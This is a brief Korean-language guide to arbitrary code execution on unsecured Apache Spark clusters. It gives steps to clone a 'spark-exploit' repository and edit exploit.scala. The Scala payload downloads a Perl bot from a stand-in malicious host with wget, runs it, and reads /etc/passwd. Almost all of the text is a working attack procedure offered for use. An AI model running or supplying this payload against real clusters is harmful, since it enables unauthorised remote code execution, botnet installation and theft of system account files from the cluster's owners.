
보안이 설정되지 않은 Apache Spark 클러스터에서의 임의 코드 실행
아래 단계를 따르세요:
* $ git clone https://github.com/akhld/spark-exploit.git
* $ cd spark-exploit
exploit.scala를 열고, 실행하려는 코드로 다음 코드를 교체하세요!
val exploit = sc.parallelize(1 to 1).map(x=>{
//Replace these with whatever you want to get executed
val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
val y = "perl bot.pl".!
scala.io.Source.fromFile("/etc/passwd").mkString
})
https://hacked.work/blog/arbitary-code-execution-in-unsecured-apache-spark-cluster/